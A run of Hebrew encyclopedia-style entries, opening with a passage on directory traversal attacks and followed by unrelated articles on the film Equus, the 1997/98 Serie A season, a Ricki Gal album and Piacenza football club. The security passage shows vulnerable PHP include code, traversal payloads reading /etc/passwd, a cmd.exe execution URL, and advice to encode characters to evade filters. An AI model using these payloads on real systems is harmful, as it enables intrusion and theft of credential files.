במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, הוא מוסיף פרמטרים נוספים (/..) המשנים את מבנה הנתיב וכך הוא יכול לעבור בין סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולטעון קבצים שאינו מורשה לצפות בהם.
שימוש.
פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.
בעזרת חזרה על מספר תווים הנחשבים למסוכנים, ניתן לגשת אל סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולצפות בקבצים חסויים:
ניתן לקודד את התווים ובכך לחמוק מזיהוי של מערכות ההגנה השונות.
בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:
&lt;?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
$template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
שינוי בקשת HTTP, חזרה אל סיפריית השורש ופתיחת קובץ המשתמשים:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
לחולל שינוי בתגובת השרת:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
הפגיעות בכתובת ה-URL:
בדוגמה שלהלן, מתרחשת טעינה של קובץ בשם page.html. במידה והמערכת אינה בודקת את הערך יוכל התוקף לשנות את הערך לביטוי אחר כרצונו.
http://www.example.com/index.foo?item=page.html
בהתאם לסוג מערכת ההפעלה ובעזרת ניסוי וטעייה, יחזור התוקף אל סיפריות האב ויחפש את הקבצים הנדרשים.
http://www.example.com/index.foo?item=../../../Config.sys
במידה וגם השרת עצמו פגיע, ניתן לקרוא ליישומים הרצים עליו:
http://www.example.com/index.foo?item=../../../Windows/System32/cmd.exe?/C+dir+C:\
אקווס (סרט)
אקווס (באנגלית: Equus) הוא סרט דרמה בריטי אמריקאי משנת 1977 בבימויו של סידני לומט. פיטר שאפר כתב את התסריט המבוסס על מחזה באותו שם. בסרט מככבים ריצ'רד ברטון, פיטר פירת', קולין בלייקלי, ג'ואן פלורייט, איילין אטקינס וג'ני אגאטר.
בעיבוד הקולנועי של המחזה שילב לומט יותר ריאליזם, בשימוש בסוסים במקום בשחקנים אנושיים שמגלמים אותם במחזה, ובתיאור גרפי של ניקור עיני הסוסים. למרות שהייתה ביקורת על גישה זו, באופן כללי הסרט קיבל ביקורות חיוביות והשחקנים ברטון, פירת' ואגאטר זכו בפרסים על הופעתם.
תקציר עלילה.
שופטת שלום מבקשת מידידה הפסיכיאטר, מרטין דיסארט, שעובד עם נערים בבית חולים בהמפשייר, לטפל בנער בן 17 בשם אלן סטרנג שעבד באורווה וגרם באמצעות מגל לעיוורון של שישה סוסים. מכיוון שאלן רק שר ג'ינגלים, מרטין הולך לפגוש את הוריו של הנער, פרנק סטרנג ואשתו דורה שהיא נוצרייה אדוקה. האם נתנה לבנה חינוך מיני בסיסי וגם אמרה לו שאלוהים רואה הכל. אבל אלן המופנם החליף את האלוהות של אמו באל בשם אקווס, שמתגלם בסוסים. פרנק מספר למרטין שהוא ראה את אלן רותם ומלקה את עצמו תוך כדי זמרה של סדרה של שמות בסגנון תנ"כי שמגיע לשיאו בשם אקווס.
מרטין מתחיל לזכות באמונו של אלן, והוא מספר על הזיכרון הראשון שלו מסוסים. כשהיה בן שש התקרב אליו גבר שרכב על סוס בשם טרויאן. אלן דימה לעצמו שהסוס דיבר אליו, ואמר לו ששמו האמיתי הוא אקווס, וזהו שמם של כל הסוסים. האיש הושיב את אלן על הסוס והוא התרגש מכך מאוד. אבל הוריו של אלן הורידו אותו מיד מהסוס. מרטין גם פוגש את מנהל האורווה שמגלה לו שאלן קיבל את העבודה בהמלצת ג'יל שגם עבדה שם. ג'יל, הרוסה בגלל הפגיעה בסוסים שנגרם בעקיפין באשמתה, יצאה לחופשת מחלה.
בסופו של דבר מודה אלן שהוא היה יוצא עם סוסים מהאורווה ורוכב עליהם כשהוא ערום, מזמר תפילות לאקווס ומלטף אותם באהבה עד שהגיע לאורגזמה. מרטין מקנא בפגניות הנלהבת של הנער שעומדת בניגוד לחייו הריקים, חסרי האינטימיות עם אשתו ומלאי סבל מהסיוטים בלילות. בחלומותיו הוא נמצא ביוון בתקופה ההומרית והוא מקריב ילדים כשהוא לובש מסכת אגממנון. אלן מקבל כדור אספירין כתרופת פלצבו שתשמש כסם אמת, ואז הוא מגלה שערב אחד פיתתה אותו ג'יל ללכת איתה לסרט פורנוגרפי שוודי בקולנוע המקומי. הוא המום לראות את אביו בבית הקולנוע. כשהוא וג'יל חוזרים לאורוות היא מתפשטת ומציעה לקיים יחסי מין, אבל הוא אינו מסוגל לכך ודורש ממנה ללכת. כשהוא ערום ומתייסר מכך שאקווס רואה הכל והוא אל קנאי, אלן מנקר את עיני הסוסים ומעוור אותם.
מרטין נותר מוטרד מהעובדה שהוא יכול לטפל באלן ולהקל על כאבו, אבל תוך כדי כך הוא ימנע ממנו את התשוקה שלו, ויותיר אותו מסורס רגשית כמוהו עצמו.
הפקה.
פיתוח.
הבמאי סידני לומט ראה את המחזה "אקווס" כשהוצג בלונדון בין 1973 ל-1975. כמו כן הוא ראה הפקות עם אנתוני פרקינס וריצ'רד ברטון. לומט חשב שהופעתו של פרקינס הייתה מצוינת, אבל ההפקה נכשלה בלכידת הקונפליקט שבדמותו של מרטין דיסארט.
שאפר ולומט עבדו יותר משנה בהכנת התסריט לפני תחילת הצילומים. רוב הדיאלוגים במחזה של שאפר נשמרו במדויק בתסריט הקולנועי.
מרלון ברנדו וג'ק ניקולסון היו מועמדים לגלם את דמותו של דיסארט בגרסה הקולנועית. אבל הופעתו של ברטון על הבמה זכתה לאהדת הקהל, למרות חששות בשל האלכוהוליזם שלו.
צילומים.
בהפקות הבימתיות את הסוסים גילמו שחקנים אנושיים, לרוב גברים אתלטיים בנויים היטב ולובשים מסכות בסגנון שבטי. לומט חשב שזה לא מתאים לגרסה הקולנועית, ושנדרשת מידה מסוימת של ריאליזם. עבור הפעלולים הקשורים לסוסים התייעצו יוצרי הסרט עם יקימה קאנוט, שעבד עם ג'ון ויין בסרטי המערבונים שלו. סצנות הרכיבה על הסוסים וניקור עיניהם צולמו תחילה באור טבעי, ואחר כך באור לא מציאותי, כדי לתפוס את הקונפליקט בין תפיסות העולם האפולוניות והדיוניזיות. יחד עם הצלם אוסוולד מוריס ומעצב ההפקה טוני וולטון, פיתח לומט סכמת צבעים מורכבת ונמנע מלהשתמש בצבעים שניתן לזהות בקלות, כדי להדגיש דואליות.
הסצנה בה פירת' רוכב על הסוס בעירום צולמה בטייק אחד, צילום רצוף שארך ארבע וחצי דקות. הסצנה בה אלן מעוור את הסוסים הוצגה על הבמה בפנטומימה. לומט בחר להציג אותה בצורה גרפית כדי להעביר את הזוועה שבה. חלק גדול מהצילומים מראים את ראשי הסוסים משתנות בהדרגה לצורת הפנים של ישו, דורה סטרנג ופרנק סטרנג, ומבט חטוף על פגיון. אבל לומט החליט שזה אינו מעודן דיו, וקיצץ חלק גדול מהתמונות, והשאיר רק את הפגיון. הסצנות באורווה ובחדרו של אלן צולמו באולפן Toronto International Film Studio בקלייבורג שבאונטריו.
ג'ואן פלוורייט
עונת 1997/1998 בסרייה א'
עונת 1997/1998 בסרייה א' הייתה העונה ה-96 של התחרות שאורגנה על ידי התאחדות הכדורגל האיטלקית ונוהלה על ידי "ליגת הכדורגל" (Lega Calcio). המשחקים החלו ב-31 באוגוסט 1997 והסתיימו ב-16 במאי 1998.
בליגה השתתפו 18 קבוצות. התחרות התקיימה בשיטת ליגה עם משחקי בית ומשחקי חוץ. עבור הניצחון הוענקו שלוש נקודות ונקודה עבור תוצאת תיקו.
ברשה, אמפולי, לצ'ה ובארי היו הקבוצות שעלו מהליגה השנייה.
יובנטוס זכתה באליפות בפעם ה-25 בתולדות המועדון ובפעם השנייה ברציפות.
בסיום העונה, ב-29 באוגוסט 1998 נערך משחק של הסופר קאפ האיטלקי בו יובנטוס הפסידה 1:2 ללאציו שזכתה בגביע.
בסיום העונה לסרייה ב' ירדו ברשה, אטאלנטה, לצ'ה ונאפולי. במקום הקבוצות שירדו לסרייה א' העפילו סלרניטנה, ונציה, קליארי ופרוג'ה.
כדורגלנים מצטיינים.
אוליבר בירהוף () שחקנה של אודינזה כבש 27 שערים וזכה בתואר מלך השערים.
התאחדות הכדורגל האיטלקית העניקה פרסים לשחקנים מצטיינים:
מה זאת אהבה...
מה זאת אהבה... הוא אלבומה השני של הזמרת ריקי גל, שיצא במאי 1988 ותוך זמן קצר הגיע למעמד של אלבום פלטינה.
הפקה.
בשנת 1988, שנה לאחר צאת אלבום הבכורה שלה, יצא אלבומה השני של גל, "מה זאת אהבה...", שגם הוא כמו הראשון הולחן והופק על ידי מתי כספי.
באלבום זה (לעומת הקודם) גל וכספי הלכו יותר לכיוון הבלוזי, קצת פחות רוקיסטי ויותר שקט.
בין שיריו המצליחים של האלבום: הדואט של גל וכספי "מה זאת אהבה" (מילים: אהוד מנור) שנכנס למקום ה-45 במצעד השנתי של שנת 1988 (תשמ"ח), "אילו יכולתי" ("אמא") (גם הוא למילים של אהוד מנור) שהגיע למקום ה-36 באותה השנה, "על ראש שמחתי" (למילים של נעמי שמר), "בצער לא רב, ביגון לא קודר" שכתב חנוך לוין, ו"ילד שלי" שגם כתב מנור. כמו כן, נכללה באלבום גרסה של גל וכספי לשיר "מקום לדאגה" שהלחין כספי למילים של יהונתן גפן (את הגרסה המקורית ביצעה שרה בדישי).
בעקבות הצלחת האלבום יצאו גל וכספי למופע משותף בשם "מה זאת אהבה".
אחרי שנים רבות של חיפוש דרך, סיימה ריקי גל את שנות ה-80 כזמרת רוק מצליחה ואהובה.
פיאצ'נצה (כדורגל)
פיאצ'נצה (באיטלקית: Piacenza Calcio 1919) הוא מועדון כדורגל איטלקי המייצג את העיר פיאצ'נצה שבאיטליה. המועדון משחק בליגה פרו שהיא הליגה השלישית באיטליה.
היסטוריה.
המועדון הוקם בשנת 1919 ושיחק בליגות שונות. רק לאחר מלחמת העולם השנייה הוא הצליח להעפיל לסרייה ב'. בשנת 1993 הוא העפיל לראשונה לסרייה א' ושיחק בה כמה עונות במהלך שנות ה-90. עם העפלת הקבוצה לליגה הבכירה, אימץ המועדון מדיניות של שיתוף שחקנים בעלי אזרחות איטלקית בלבד, מדיניות אשר נשמרה עד שנת 2001. בתחילת המאה ה-21 הוא ירד לסרייה ב' ולא הצליח לחזור לליגה הבכירה.
בעקבות העונה הלא מוצלחת 2010/2011 הקבוצה ירדה לליגה השלישית ובסופו של דבר הוכרז על פשיטת רגל, אולם עד מהרה היא הוקמה מחדש.
בשנים האחרונות הקבוצה משחקת בליגה פרו שהיא הליגה השלישית האיטלקית.
SOS (משחק)